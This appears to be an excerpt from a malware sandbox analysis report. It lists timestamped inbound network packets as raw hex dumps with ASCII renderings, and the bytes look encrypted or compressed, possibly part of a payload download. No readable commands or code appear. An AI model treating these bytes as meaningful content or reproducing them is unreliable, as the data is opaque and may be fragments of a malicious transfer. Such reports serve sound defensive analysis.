ac 5f 1a 73 c7 85 b0 4a 43 64 7c 32 ec 23 24 a6 8e 5c 9d f3 ae 48 37 f5 9c 27 cf 83 d8 a2 80 5f 5c 36 e5 78 44 e9 f3 03 e9 
27 43 3f 48 d0 ac b5 26 1e 7a a0 e8 10 81 99 d9 bf 7a 9f d9 b1 df 2b 05 f1 da d9 17 9f 49 e6 e1 a9 6d 98 76 11 46 5a ec 
c3 c5 40 42 3a 9e 7f dd 01 33 6d 5e e5 78 16 52 65 1e ad 57 cc b2 d1 aa 73 03 4f 51 fc 2f de 81 0b 4c 7a 11 ce 22 46 9c 
8c b2 35 86 bb d0 1a ea 6f cc f5 34 67 1d a3 3e 21 b3 c2 69 1a 41 07 66 24 cb a5 0e 72 9c 89 b2 d6 9d 8f a1 7f 13 9d 71 
10 3b 23 c2 79 e7 5b 18 cf d2 c7 b3 33 bb 0a be 
Data Ascii: euET"#(mKk/G#e?|Ayu?_sJCd|2#$\H7'_\6xD'C?H&zz+ImvFZ@B:3m^xReWsOQ/Lz"F5o4g>!iAf$rq;#y[3

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 2662 IN Data Raw: e1 4a 3b 54 0b 3c d6 6a 72 99 f2 c8 9a 19 4e ea 48 bb 0d ab 4c 72 02 b5 4c b2 a5 36 ef e9 06 37 1d b4 c1 f8 
2a 80 d7 86 8d 05 d6 12 cc 66 d5 fd a4 37 dc 04 fa 38 52 65 fd 1b 30 88 4f 22 14 fa c2 31 82 e1 89 e6 53 f4 e7 f3 85 89 37 
01 7f 89 cf 7a 51 ce 98 ee 2e 38 79 d0 47 dd 37 a5 b0 2d f2 ae 6d 73 bd 80 cd 73 b2 cb fc 82 cc 84 a9 6d ed f0 4d 37 eb 
d3 dc 5f aa df fc 47 ce 6f fe 50 9b 44 b5 55 18 13 74 c9 3e 58 6a a3 56 b4 01 af 7d 8b e0 fd 35 92 c0 0e d3 eb 08 b6 32 28 
6d 9b 49 a4 e0 17 f5 58 2a 5b c8 31 53 1d 94 40 47 a4 8c 38 83 7b b0 4e 9f 9c cf c3 56 51 12 b5 ac f7 69 e2 ac cd 63 c5 
64 3e 4a a3 11 57 d7 1e 84 10 43 7f 35 9c ae 6c 62 f4 73 40 f5 4c d0 fb b9 2f 4e 43 9b f3 f8 0d e7 c2 9a 02 68 ab b5 9f f0 
09 ea 07 91 ac 49 ec a9 c3 d1 0f 5a 5f 50 ae 34 
Data Ascii: J;T<jrNHLrL67*f78Re0O"1S7zQ.8yG7-mssmM7_GoPDUt>XjV}52(mIX*[1S@G8{NVQicd>JWC5lbs@L/NChIZ_
P4

2022-01-14 11:23:07 UTC 2678 IN Data Raw: 8c 5c ad 04 31 b2 87 a4 57 1f f5 1c 65 60 85 a3 d1 f2 72 41 4f d7 6d b8 a7 8f 34 a0 a5 b8 08 6a b2 38 21 1a ee 
bc 24 ed 98 17 56 6f 12 ca a1 5a 32 e3 17 9e 80 a9 d4 13 ae 8b 8e e9 57 43 1b 9e 13 bb f9 00 1b d5 16 ac c5 ab 1c f7 6f 
e8 82 1e 96 26 53 d4 f8 d8 e7 4c d8 91 3f 6e ec 8a a5 e5 69 b3 3f a7 2f 85 cf cc d5 1d cb 65 f9 3e 67 9c 2e e2 01 52 91 1f 
dd 4f 82 c2 3c 56 70 ff 96 b7 07 61 06 ee 76 01 46 d8 9c 91 48 38 a7 a3 54 4a 2d 64 ab 32 a5 89 a9 ef a2 50 e1 4f 6c 54 fb
99 2d 6a 6a 1a e1 df b0 3d 05 cd c2 5a 3f c2 ee 03 9e 67 99 9c f4 8d 99 e8 4e 20 d7 33 56 51 6c 93 63 be c9 0f 06 d9 18 
bd af 80 f9 6b e5 7c 0a 99 ca 07 22 25 94 66 b9 57 77 0c 73 5d c2 d0 23 fc 54 03 88 71 70 5a 88 bd bd dc b6 9b f2 94 fa 
02 ee 0b 88 f8 cc f3 82 96 53 95 4e 96 b4 c9 72 
Data Ascii: \1We`rAOm4j8!$VoZ2WCo&SL?ni?/e>g.RO<VpavFH8TJ-d2POlT-jj=Z?gN 3VQlck|"%fWws]#TqpZSNr

2022-01-14 11:23:07 UTC 2694 IN Data Raw: 7f c4 9c 0f 2f 68 f0 ae b2 2e c8 82 0f 72 15 b4 77 dd b5 50 11 8f c2 9c 2a f5 1d 42 68 07 7b 38 f3 83 3d e6 97 
b0 84 15 31 9f c0 4d 44 a9 49 0c ec 34 68 5b 8f 18 c2 c5 e4 f4 62 3c b7 ce b1 b0 05 bf 4f 01 87 ba d3 f5 f4 61 5a 0f 0d 07 
dd 65 6b 11 49 4b 5f a9 6f a8 ee d5 07 85 5e 0d 40 c7 14 13 31 3b bf 55 6f 46 ab 75 d6 c2 b0 a6 ef f2 17 4e 01 84 36 b9 
9a 00 b6 b7 3b f3 d0 5d 03 9c 43 22 62 f2 d8 e5 43 fd da e4 fc ee 97 59 bb 19 65 40 52 ca c8 e4 a3 4d 4b 93 2d 78 97 c8 
19 ca 7e 15 78 47 ff 2f e1 d7 e5 60 3b 7e f0 0f 8c 90 9a 34 f2 4f 29 2b 09 ea c8 ab a9 84 bd b0 2d 7e 61 bf d4 3f 18 de 6f 
a6 c3 aa 1f 33 e6 aa 2d 34 6d 60 3f 79 db ba b8 a9 61 56 6c 7e 41 5e 12 c0 1d a7 d6 5b 57 2f f9 cc 6f bd ee e5 d5 6e 76 
99 bd ab fe 26 d1 a5 80 b0 bb cb fa 7b 5e 48 a9 
Data Ascii: /h.rwP*Bh{8=1MDI4h[b<OaZekIK_o^@1;UoFuN6;]C"bCYe@RMK-x~xG/`;~4O)+-~a?o3-4m`?yaVl~A^[W/onv&
{^H

2022-01-14 11:23:07 UTC 2710 IN Data Raw: a5 13 49 c2 b9 74 10 fe 75 d1 d1 27 53 93 81 f0 55 48 bc a8 d2 3d 73 f4 2c 93 3f 24 6c 8a 75 ce 38 6e c5 86 d7 
a6 12 47 cf 57 12 89 e0 77 e1 bf 15 a9 4d 8e eb d8 9d ca c0 4f 51 e9 32 35 b6 dd 11 df b6 87 fe 5a 26 e1 0f e1 73 87 0d 
35 f7 d3 f8 99 8b 8b 6f 7d f5 3e 4d 92 13 66 60 3d e1 ee 15 6a d1 d9 8b 33 f9 96 c9 f9 57 5d 5c 35 9a 53 22 56 42 33 4c 
d5 61 86 c2 80 5d 88 ec 80 46 09 71 75 fd d0 00 43 05 e9 43 56 f9 79 0b 7b 2a 4b 8a 28 b9 18 2b 0a a9 e7 34 58 08 49 f5 
d9 3e 51 dc 5c 4b 02 aa 1d 9b da 03 3c ef 26 7c d6 53 ad 6e 8f 2a b2 29 b1 8a 71 b5 f4 f7 6f 8d 3d 0d 58 09 be 66 a8 a7 
4f da 88 e1 36 3e b9 cc e1 9a 7b a9 a5 fe bf c7 d5 0a 4a a3 58 34 fe 97 e5 b5 ab 1b 43 c4 96 7e 48 cf 83 de a0 f1 ed c9 
9a 4f 9f 7c 0f 71 be d9 47 17 1b f5 24 db a9 6b 12 f5 
Data Ascii: Itu'SUH=s,?$lu8nGWwMOQ25Z&s5o}>Mf`=j3W]\5S"VB3La]FquCCVy{*K(+4XI>Q\K<&|Sn*)qo=XfO6>{JX4C
~HO|qG$k

2022-01-14 11:23:07 UTC 2726 IN Data Raw: f3 c3 1a 9c 63 bd 39 11 ef 08 79 b0 b9 59 18 57 62 4e e4 29 39 d0 bf 1a 69 72 12 ef 42 4f bc 54 99 f1 ac 2d d0 
72 d8 9c 1f 41 11 71 89 90 0b 7d cf c2 34 2d 98 32 2d f3 1a 38 c2 47 92 50 0f c3 6c 22 95 a9 ac b7 00 ac cb c8 82 11 89 
82 d3 52 81 a1 a7 07 ee cd 7a 3b ab f2 22 e3 d1 49 61 d1 0f 30 8d af 1d 02 5d 6d 00 71 75 e7 b3 8d 75 85 f6 fd ca 20 af 
49 da e6 76 80 2b 28 96 3e da d6 6c d4 a4 e3 be 68 17 c0 9d d8 06 59 07 5a 4b 04 8f ed 37 b0 6a 9d c8 08 fb 87 1d 52 98 
da bb 65 24 66 29 6c 8e 58 be 0f 1d 33 a7 6a 14 dc 11 91 12 a1 4b e6 04 89 ea 65 bb 0d 0b c8 32 b9 de 07 d9 fd 94 09 36 
ed a7 59 2d 03 c1 44 49 b7 d9 bd 6c 0a a6 f6 93 de 4b af bd a1 00 a6 bd 1b be ee 0b 1a eb 12 24 4e bd 0a 4d 85 05 72 7d 
e0 c6 19 fe ab d7 2e b2 ae 70 f2 22 ac 8e 45 a2 15 88 
Data Ascii: c9yYWbN)9irBOT-rAq}4-2-8GPl"Rz;"Ia0]mquu Iv+(>lhYZK7jRe$f)lX3jKe26Y-DIlK$NMr}.p"E

2022-01-14 11:23:07 UTC 2742 IN Data Raw: a2 ae bc 7a cf 8b 17 9d 1e f8 3f 9c 8f a9 94 08 9a 2e a0 d5 b5 56 1d d2 62 94 12 ff 3c 79 1d 91 95 26 f4 08 92 
c1 f2 50 57 89 cb 96 00 a6 e2 eb 09 72 f0 9f 55 60 54 ab 95 61 e2 82 15 f8 6a e0 d8 32 f2 42 3e 14 ec f8 ef 1e 5e d2 4b 12 
b6 b2 80 61 6f 4d b0 a6 83 8e 7b fa c8 15 1d b6 cc 36 ca d2 61 7b 44 d3 83 ad 51 1c f6 2d 48 44 51 5b ae fc 89 f2 eb 6b 
b3 22 4c 3b d4 34 7a f0 e5 0c 6a 7c 10 02 d1 36 82 8c 64 ae 24 69 dd cb 99 83 10 7c a8 f1 43 4b 48 fd 62 b8 8e 76 5e b6 
ff 34 f6 e8 08 97 b2 3b 69 0b 60 8d 18 f7 be 86 15 1e f2 77 d5 0b d7 2b 40 53 17 e7 3b 21 7a 4a b7 25 19 84 55 77 e7 5a 
8b 11 08 6b ea b1 aa 6a 70 22 01 90 41 36 91 34 7c 66 d3 dc 1e a7 c7 7a 3c 71 92 28 c2 32 48 a8 aa 9f 8c b6 0c c4 3f 88 
f8 7a 05 14 05 02 a7 bf 36 5b aa a1 b5 c5 c6 1b dc 
Data Ascii: z?.Vb<y&PWrU`Taj2B>^KaoM{6a{DQ-HDQ[k"L;4zj|6d$i|CKHbv^4;i`w+@S;!zJ%UwZkjp"A64|fz<q(2H?z6[

2022-01-14 11:23:07 UTC 2758 IN Data Raw: ff bd 09 5f e8 d6 36 5a b4 e4 92 ee d0 23 bc 94 7b cd ad 3c 7f 6f ca 38 5b 20 5d cf cf e4 f3 b7 e3 83 be 43 6b 
8c 37 77 93 10 f4 19 ad eb 69 30 e8 46 6c 8c 0d a9 49 81 50 d5 6b 70 0f ac 30 a7 79 e3 54 ba cb fb 46 48 16 ec c1 11 e4 
f6 9f d7 e9 b8 65 e2 bf 68 f4 40 ab a2 37 07 86 fe 24 e6 a4 74 0d 39 48 8e 04 08 27 b1 ce 73 ce 05 44 3e 82 23 1a f8 fe 01 
b0 bd 54 2c de 06 2a 4c 30 e0 c5 eb b2 2c 20 f0 df a9 cb d9 8a 9c a1 21 60 22 3f 6d f5 f2 36 df d3 41 a6 63 25 49 f2 bf 1b 
86 c9 43 1d 36 5a 3a 91 d8 2e ec 27 1d 3b 52 4b c4 f5 99 39 17 43 b0 0a b6 86 3c 86 8c 2e 1e 2d 41 c3 46 b7 5f 8c 48 4a 
93 3a 4b 94 f7 e5 00 95 15 f0 05 f5 47 37 55 b5 61 88 75 9c 61 aa 14 33 78 46 a5 3f 69 2d fa f4 50 d9 a5 36 11 d9 e8 c8 
0e 83 9f 6d 79 88 16 a2 fa 2b f0 5e 82 fe 71 91 
Data Ascii: _6Z#{<o8[ ]Ck7wi0FlIPkp0yTFHeh@7$t9H'sD>#T,*L0, !`"?m6Ac%IC6Z:.';RK9C<.-AF_HJ:KG7Uaua3xF?i-
P6my+^q

2022-01-14 11:23:07 UTC 2774 IN Data Raw: 29 de 12 e3 ae 3e 52 e8 9b ed d7 a3 5b ec c5 f7 4b 8f 05 05 16 d7 c7 da a5 b0 8c 99 36 5b be c8 5b e5 9c 8e 
9f 54 57 56 e9 7f f3 b8 04 e4 c4 cf 0c 29 7a 9b 5f 35 f7 bd 08 56 07 ab 96 e1 60 af af 41 3a 8a 5f 35 d5 2d 3b b3 77 69 8d 
58 7c e4 78 9c 2b 91 c5 02 48 71 27 d3 09 0e 8e b9 27 91 75 68 b8 b9 e5 21 f3 e9 b7 c9 2a 79 55 53 4d a7 58 2a e2 45 
07 85 a7 e2 3d b7 96 e8 a5 5d 3f 39 31 df c9 90 02 68 ae 6e aa 2c 6c a6 1f 4b 7a 7c fd 69 db cf c4 0e a9 65 9b 05 6f 03 
38 42 00 15 4e 83 f8 0b 79 38 60 c3 52 25 17 c5 fa 2d f9 72 83 ef bb 6f a1 dc 9e d3 a6 65 58 94 b0 11 89 e0 10 a0 21 ae 
d5 e3 47 d2 c6 29 d2 c6 33 17 f3 53 7e 4a 86 92 b8 af 2f 48 fd bf 9e 5b 51 5d eb 60 62 a7 ad ce d2 e5 d0 67 34 0b 07 87 
fb 6e 18 a2 33 a4 4e 8e b0 1b 42 2c 6f 6f fe 73 3f 6c b4 
Data Ascii: )>R[K6[[TWV)z_5V`A:_5-;wiX|x+Hq''uh!*yUSMX*E=]?91hn,lKz|ieo8BNy8`R%-roeX!G)3S~J/H[Q]`bg4
n3NB,oos?l

2022-01-14 11:23:07 UTC 2790 IN Data Raw: 70 aa 4a 60 a2 7f 87 c8 5a 76 b2 d4 5a d6 af 89 a0 48 df ae 43 a9 b9 c6 04 ba 03 8a 47 61 ee 72 32 14 30 2e 
9e 98 f2 4d e7 a7 e5 32 e3 d8 c0 53 e2 f7 f7 2c 37 1e c9 67 e3 2c 75 8a dd f2 86 6b 4e 73 bc 23 9c 55 5d 31 71 2d 91 38 
93 5a db 81 f3 9e 48 bc b5 41 a8 d3 38 f2 33 b2 7e 02 4d db c7 f3 07 8e a1 b4 9c 52 4d 1f 55 4d 7e 9d 64 89 b3 c0 e2 8e 
ef 5b 92 46 9c 63 2b 52 28 3c 1a ed 7f 9b ef b8 4c 67 87 68 e8 7a e6 06 e9 2e c5 1c fa 27 87 a5 92 a5 b1 14 15 91 97 ba 
db 4a d1 8a d8 53 07 90 28 e2 6f b5 77 6f 2f 75 9b 7f dc 20 5b 01 0c 99 96 42 f7 f0 d0 4f c6 ae fe e8 67 de c8 11 81 f2 0b 
fa ab 71 b6 5f 13 0b 17 7a 73 3e 2f be 2d 66 e9 2f cb 45 e4 f3 4f d0 c5 3c f3 24 71 85 f2 89 de 1a f0 14 3a 86 c1 0e a1 87 
77 cc f1 a6 2e 8b b5 32 c7 c9 ce fb 24 39 eb 10 60 
Data Ascii: pJ`ZvZHCGar20.M2S,7g,ukNs#U]1q-8ZHA83~MRMUM~d[Fc+R(<Lghz.'JS(owo/u [BOgq_zs>/-f/EO<$q:w.2$9`

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 2806 IN Data Raw: 58 50 24 cb 93 01 26 6d 2c d1 b2 bc 0b 8a 37 be 6c 1d 0d cc 3e 55 48 71 36 49 9e 24 bd 11 21 a3 58 09 b4 e7 
d3 d6 57 1e 40 a4 d7 08 2c 99 da c0 de ef 03 d3 66 60 7c 6a f2 57 f9 4c fe 77 82 94 78 c3 ba 6c 8c e0 02 19 cd 32 89 e1 af
56 43 7a da 4c 19 34 c2 98 ed 77 20 05 82 0b 9e 78 c7 9c 9c f5 a2 8e 19 c9 69 ec f8 95 de 57 62 70 e2 f7 42 29 07 a0 42 
0a 7f ac 2f f8 a4 83 23 38 cc 0a 43 87 8f 27 48 37 e3 45 f4 2c 1e 3b 09 98 46 8a 55 5f ab 27 b1 2c 77 5b 44 bc 88 94 64 
35 3d bb 68 74 c5 ef b8 45 b5 bc f1 29 55 f4 e3 48 e5 77 c0 a5 c9 ff f6 4b c7 c9 74 47 a9 47 73 31 af b3 9b 95 7f 5a d6 cd 
90 ff de 2e 62 bb ad cd e1 51 97 1e 97 b9 5a 5b 8a 12 94 33 6f 05 57 d0 2a a7 4b f9 ef f2 3b d4 d5 60 38 08 f0 b9 80 ac 32 
ed 7b 2d 20 42 0d d2 cf a1 b0 c9 0b 9a 26 2f d7 
Data Ascii: XP$&m,7l>UHq6I$!XW@,f`|jWLwxl2VCzL4w xiWbpB)B/#8C'H7E,;FU_',w[Dd5=htE)UHwKtGGs1Z.bQZ[3oW
*K;`82{- B&/

2022-01-14 11:23:07 UTC 2822 IN Data Raw: 71 c6 37 bd ab ad ba 72 26 48 36 0a 12 61 d8 fe 72 f6 92 1b 80 93 8b 9d 02 57 c9 ea 2a 31 90 ee 1a 0f 10 46 
ac 12 5b 8e 7d 57 52 9d a4 d1 4d c6 a2 ff ba 8a 45 5a 82 e1 61 33 4b ab b9 f0 87 42 83 c5 7d a8 84 79 86 fd 45 2a c4 7c 
ac d8 c2 c3 f2 90 0f 12 a9 f7 d8 a4 a9 54 cc 23 4b 0b d5 02 d1 9e 3d 84 63 76 72 0f b8 3a 00 1c 73 16 56 a1 ff 0f 7d 71 db 
57 c9 cd 89 9a 6b 6f 3b 10 bf a8 ac 4a 9e 3a 2e b0 83 60 0b 93 da 52 e4 9c 60 ff 21 44 15 fa 37 d4 c8 4a 36 29 53 d5 da 
aa 2e a0 02 67 ff 6a fa 0f fc f5 3e 03 66 bb 2f c8 0d 56 87 6b bc 7d 6e f4 bc e3 ae ab b6 7d c8 b3 ef 38 92 56 e7 b3 3f d7 fd 
93 ec 3b bc 2d b6 a3 6b c1 c5 a7 57 75 8c 30 da 42 cf 96 34 e2 a3 f6 3c bf a8 a9 b7 27 67 d8 e9 72 64 51 b2 d2 37 d0 31 
2c cb 2f a8 ac 6d ef 43 38 5e 24 44 0d 3e d5 e2 
Data Ascii: q7r&H6arW*1F[}WRMEZa3KB}yE*|T#K=cvr:sV}qWko;J:.`R`!D7J6)S.gj>f/Vk}n}8V?;-kWu0B4<'grdQ71,
/mC8^$D>

2022-01-14 11:23:07 UTC 2838 IN Data Raw: f0 55 08 60 41 76 77 ed 82 36 4f 65 32 54 06 77 6c ae 9a b7 e8 09 dd 82 2e 60 19 a2 f1 39 64 0e ee e4 ba d9 
52 e8 cf 51 81 f5 4f c0 0b 1d 44 a0 28 f5 9a 3c ca 0c 3b 30 8d c2 d8 8e 59 10 29 2c f5 3a d6 90 e0 72 ad 4f f2 33 5f 73 9d 
28 11 a2 fd 4c 03 31 d7 89 c2 9f 06 7f 21 9c 09 2d e4 88 74 7e 0e c4 03 9a ab ae 42 5d 9b 0c 98 58 4b 89 40 b4 a0 02 32 
7d bf 6e 22 f0 0e a5 22 03 2b 28 33 49 cb 54 a6 09 63 79 8c b3 14 0b 95 17 2d 96 d0 27 9a e0 d9 24 b5 f2 5b 05 cd b1 3a 
c4 81 f3 47 cc d4 b8 c0 35 1c 3e a3 84 6c b5 ca 31 bf f6 bf 81 cb 35 19 9b 13 0c 99 06 a7 1b b6 b4 79 42 ca b2 11 c7 0a f4
f8 11 0b 13 d0 da b9 51 47 5c 33 05 9e 93 eb ce 16 33 fd 44 3e 9f 46 8f 70 27 0b 95 d3 6b 52 87 41 d9 a7 f2 55 11 18 ff 8c 
41 60 5d 94 0e 51 03 a9 29 c9 51 76 2c 9e 8d 85 
Data Ascii: U`Avw6Oe2Twl.`9dRQOD(<;0Y),:rO3_s(L1!-t~B]XK@2}n""+(3ITcy-'$[:G5>l15yBQG\33D>Fp'kRAUA`]Q)Qv,

2022-01-14 11:23:07 UTC 2854 IN Data Raw: 5a 7a 94 9c a0 39 ed 19 35 01 a1 3f 78 11 88 9a 0e 30 d2 99 21 19 88 e6 24 ca a9 89 08 b5 c6 43 87 4c e7 5d 
ee e5 ef 6a d9 ca 7a 30 62 90 df 43 15 ec 87 57 db 55 8d 0b 5e bb 80 f1 46 5e 5b 27 eb 12 f4 84 ab 0c a6 5e a4 4d 6b bf 
10 b9 a8 65 66 6e f9 50 60 71 0f 3d 78 0d 33 9f 7c 2c 70 79 54 0e 8e 48 b4 80 69 d0 a5 ab 3d 84 70 20 57 26 fd 4e 3e a4 
12 f0 9d 6e 28 31 1c 9c 7e 1e 84 c3 52 a4 b5 85 25 3e be f6 fc ff 25 d7 c1 19 cb 52 c0 dd f3 dc 5c 42 24 96 f3 95 58 d2 19 
5b ca 1f 3f 7b 3c 78 91 05 36 97 d4 1b 29 cb 18 83 ea 70 18 e1 47 76 03 7d 58 30 55 f1 78 e0 75 61 5b 51 01 e4 c8 c2 60 
ae 59 be 24 8f 9f 91 5c 22 ee 91 84 1f 7f 56 7b e0 33 e7 bd 6c 51 62 fb f1 93 da 7f 45 59 30 fc c6 22 39 61 5d 96 32 18 59 
4e 42 33 d7 09 67 ea ad a7 16 f1 ca 01 57 ed 4a c0 
Data Ascii: Zz95?x0!$CL]jz0bCWU^F^['^MkefnP`q=x3|,pyTHi=p W&N>n(1~R%>%R\B$X[?{<x6)pGv}X0Uxua[Q`Y$\"V
{3lQbEY0"9a]2YNB3gWJ

2022-01-14 11:23:07 UTC 2870 IN Data Raw: 16 2e 27 67 aa 9c b9 1a 70 25 82 3e 0b 66 1a 04 22 6d 21 7a 65 d1 27 e2 54 5d c0 65 1f 1f 64 f8 f3 87 42 0c fe 
54 38 53 c4 37 e6 86 28 c2 16 f0 f5 fd 32 22 d7 a4 27 c0 cb d3 ed 37 e1 75 94 41 a1 38 b0 70 2b ef 45 5a 35 51 12 2b ce 
59 0c 0c b9 b4 9e 9d c3 70 99 19 85 6a 92 44 c1 1f cd 39 b6 d0 8e 79 e0 43 b7 80 2c 72 15 89 f4 f4 3d 1b ec cc 25 00 52 
03 a2 3e 80 23 d0 a7 5a 15 8c 32 0e f7 97 5b b0 a4 ce d1 2f 05 02 00 1a bd 12 62 12 6d 1f ef 73 02 0b de 9d 33 02 83 cc 
7d fc 77 6b 3f b9 4d ab 02 91 67 8f b5 cd 12 75 7e 95 36 35 4f 6d 93 76 c6 f1 d6 50 63 71 1a d3 e8 cc cb 89 13 ed df 61 63 
cb fd e3 7c 4c a7 b7 36 49 ba a4 c1 32 f7 f3 e1 59 b9 1a 18 83 86 bf f7 cf 63 51 e3 cd c0 83 d1 ed 80 17 2b ac 6b 5b c4 0a 
54 26 39 e1 32 c4 09 b6 1c 71 bc 4c aa 22 82 ad 
Data Ascii: .'gp%>f"m!ze'T]edBT8S7(2"'7uA8p+EZ5Q+YpjD9yC,r=%R>#Z2[/bms3}wk?Mgu~65OmvPcqac|L6I2YcQ+k[
T&92qL"

2022-01-14 11:23:07 UTC 2886 IN Data Raw: 59 5e 42 42 4a 04 43 1a ff 8b 4f b2 c7 25 e7 31 2a b1 5c 92 4e 36 bf 8d 97 ae 65 d9 5d ff 30 43 c6 0f d0 26 4e 
22 9e 2d 40 a4 f0 90 02 1d 1a 9c 4e f8 10 f4 13 ef 74 12 30 42 eb 42 95 99 06 89 ac df 35 53 df 7b e6 dc a2 5a 1c 1a c0 09
71 e4 8f f7 7e 2d d5 72 8e c9 bf 68 d0 51 d6 1c 01 fc 71 00 5d b4 d1 90 e3 10 45 1d 89 c1 05 6d 15 c4 14 ad 28 42 9b e1 
6f 5f 80 1a ce d6 95 50 a6 3b 92 89 88 7f 63 69 1c dc c1 53 a7 5a b4 30 84 64 0a 3c a9 5e 55 d4 4f 48 5f b3 04 b5 3d 85 
00 2a 92 6e 92 26 90 cc d0 1f 08 e4 55 a2 ba 40 4c 08 7a b7 84 ab 77 25 ec cc 17 1d 04 7b b0 26 98 55 14 17 7e ee 06 
10 04 9e f2 6c 63 23 41 90 48 bb f9 95 31 58 3b b1 81 c3 6e a5 61 41 ba 68 83 de 1a 4d 37 60 a6 15 77 19 87 28 95 5b 23 
53 56 da 8f 5a 02 37 5f f7 56 96 62 58 41 5a 7f 22 18 
Data Ascii: Y^BBJCO%1*\N6e]0C&N"-@Nt0BB5S{Zq~-rhQq]Em(Bo_P;ciSZ0d<^UOH_=*n&U@Lzw%{&U~lc#AH
1X;naAhM7`w([#SVZ7_VbXAZ"

2022-01-14 11:23:07 UTC 2902 IN Data Raw: 79 98 5c 00 98 2d 20 16 ce d9 47 01 07 ff e7 81 32 14 07 af 29 33 d2 37 96 94 3f f7 c4 93 bb a3 1f 4d 66 73 49 
2e 01 ba a1 90 55 01 08 1a 24 2c c0 4d 08 54 fb f6 bf 54 91 ae e6 39 d8 87 37 1c 34 da 3d 0f d7 bc 0c fb 31 10 65 9b 08 
53 44 8a ed 9f ef e6 57 26 06 83 59 d8 2c 66 53 14 80 3d 06 3d 64 25 d7 0c 1b 47 dd 78 7a 5d 2f 4a 5b bd 6d 53 cf e8 6d 
0c f1 ce 3a 2a be 68 5b 18 1c 37 f4 e3 8e f7 46 eb 60 1b 2e e5 fe 27 d7 d3 e1 12 b9 0f 93 e4 20 d5 2f 7e 71 c2 b5 9c 74 d4
6b 88 1d 72 2c 10 67 df 06 fa ad 16 fa 64 a6 4f 5c 8d 82 2e 73 c4 8f b5 1a 6a 28 73 ca c5 2d 2d 72 03 4e 08 54 66 51 eb 
83 27 06 2f 8e 24 b9 f9 d8 46 4e 8d e0 f5 34 dd 9a 21 48 8d 78 9b 17 58 3c 0f c4 3a cb 7d be e2 cb d7 df 80 0f 39 d3 a7 
2d 7c 2f 71 71 cc 07 1e e9 f7 9b d2 f9 91 42 fc a4 
Data Ascii: y\- G2)37?MfsI.U$,MTT974=1eSDW&Y,fS==d%Gxz]/J[mSm:*h[7F`.' /~qtkr,gdO\.sj(s--rNTfQ'/$FN4!HxX<:}9-|
/qqB

2022-01-14 11:23:07 UTC 2918 IN Data Raw: 26 c3 0a c2 7e d0 17 93 3e d3 19 87 ea b9 ea 33 78 c0 72 8b 34 6d ac c6 fd 54 fc 43 6c d7 de 21 bb 22 79 24 
c9 2b 6d d2 57 a8 a5 d8 61 61 c8 42 c7 c8 46 c8 1d 80 94 25 18 94 d0 76 04 ef 0b 12 8b 9d df 1e 00 34 8a e4 e7 ec 2a ee 
f0 14 f7 cc dc 11 a0 74 fa 69 4d 8e 3c c9 d2 f2 eb 8e 56 fb 7c 18 66 66 a8 15 93 b1 b4 ce b8 d2 b4 e0 b3 97 28 87 08 d4 
2b 4b d1 e4 b9 62 e5 2c 1e 80 59 db 63 50 22 42 15 34 c4 d9 a3 8a 3a 43 d8 71 3a 18 97 b3 0e 61 6e 25 00 5c dc e4 2e 
20 d0 50 10 0b f2 b5 3f 28 15 8f 05 64 94 f9 37 f4 3b 2a d6 3e 5e 67 2a 64 1f e2 79 64 1f f6 27 c1 22 d5 41 6d cd 93 2c 88 
a7 c4 f3 1f 7d 30 94 a7 0d 37 19 64 68 51 96 b3 25 28 9e 20 2f 35 eb f8 89 f9 d3 ad 24 9c 89 dd 20 c1 54 04 ce 81 47 71 
48 41 8e 85 63 5d 7e d8 19 7b 46 3f 1f 08 ee ec 8f 3a de 
Data Ascii: &~>3xr4mTCl!"y$+mWaaBF%v4*tiM<V|ff(+Kb,YcP"B4:Cq:an%\. P?(d7;*>^g*dyd'"Am,}07dhQ%( /5$ TGqHAc]~
{F?:

2022-01-14 11:23:07 UTC 2934 IN Data Raw: df 2c 31 3b 5b 8e ef 66 dd 43 f0 7e 91 ce 9b 80 8f a6 62 29 fe 34 59 9a 48 86 98 8e ba 9b cd 90 7d 79 24 58 72 
c1 19 6c 17 aa 86 c2 e5 da 9b 6f f1 c9 08 ef 64 84 cc 27 41 9e d1 20 02 ae fe b3 51 6c 1a e1 1e 61 fb 4a c8 91 f3 b8 09 dd
8d b2 e9 58 b9 9c af ba 12 a9 61 93 6e 3a a1 67 92 cf d0 c2 f1 63 53 a6 28 6a 2b 09 f2 6a dd 43 eb a2 b3 0c 7d 49 29 c3 
46 d7 a3 cf 76 ca 54 07 97 96 6c 43 9c bf a3 42 cb 8f 35 39 45 e8 17 6d 83 71 d3 fd 3b 8b ce d9 64 fb b5 ea 3c fe e3 2e 8a 
d1 47 16 0c f7 62 a8 75 66 29 f7 7f f9 4f d1 ad 72 2d 46 b9 b0 cf 17 37 c0 14 9a 73 1d a3 76 57 0a c6 6e 41 95 8c e5 28 6d
d4 81 b9 32 21 56 2c ba 67 c4 b9 86 8f ac 61 3c 48 19 3d a3 0f 17 fb ba 33 5f d3 10 22 4a 94 5d e9 4c 45 a0 8b 04 77 fe 
ba d9 0d 11 45 57 94 f4 0c 3f 87 44 2e 90 07 
Data Ascii: ,1;[fC~b)4YH}y$Xrlod'A QlaJXan:gcS(j+jC}I)FvTlCB59Emq;d<.Gbuf)Or-F7svWnA(m2!V,ga<H=3_"J]LEwEW?D.

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 2950 IN Data Raw: 38 ea a9 7c 66 40 25 c0 ca f0 89 ee c7 2e 1c f7 21 d2 68 80 aa 49 44 06 e7 df 1d 80 37 a4 b0 76 1b fc 1d de 55
99 00 d7 49 fa 8a 2c 8c 51 fa 10 f4 98 1a 33 1a c2 5f ad 14 e9 b8 32 64 7a d9 5a 9e 57 4e ea ff 90 04 86 cf 69 58 b5 ac df 
c8 f0 e3 0e 73 8e 1f 4c 8f 88 b0 71 b8 a5 4b 2b 3e 3b b1 9d e2 9e 06 4c 7f 65 48 a9 73 1b d9 67 54 93 f8 1f 0e 76 02 7d 
b5 7d 53 51 70 ed bc f7 97 83 55 b3 c3 35 ba 37 21 05 74 58 ef 0e 29 94 e5 25 ac a6 e9 1e c7 51 a7 b2 67 35 40 e6 39 12 
8f 97 42 89 67 a3 4c 53 f5 d4 08 cb 8e 1a a0 5a ca db ca 9a 28 a5 89 41 4c f8 3e 58 7d b9 6e 7d 4a 2a c8 95 fc f6 d9 d4 
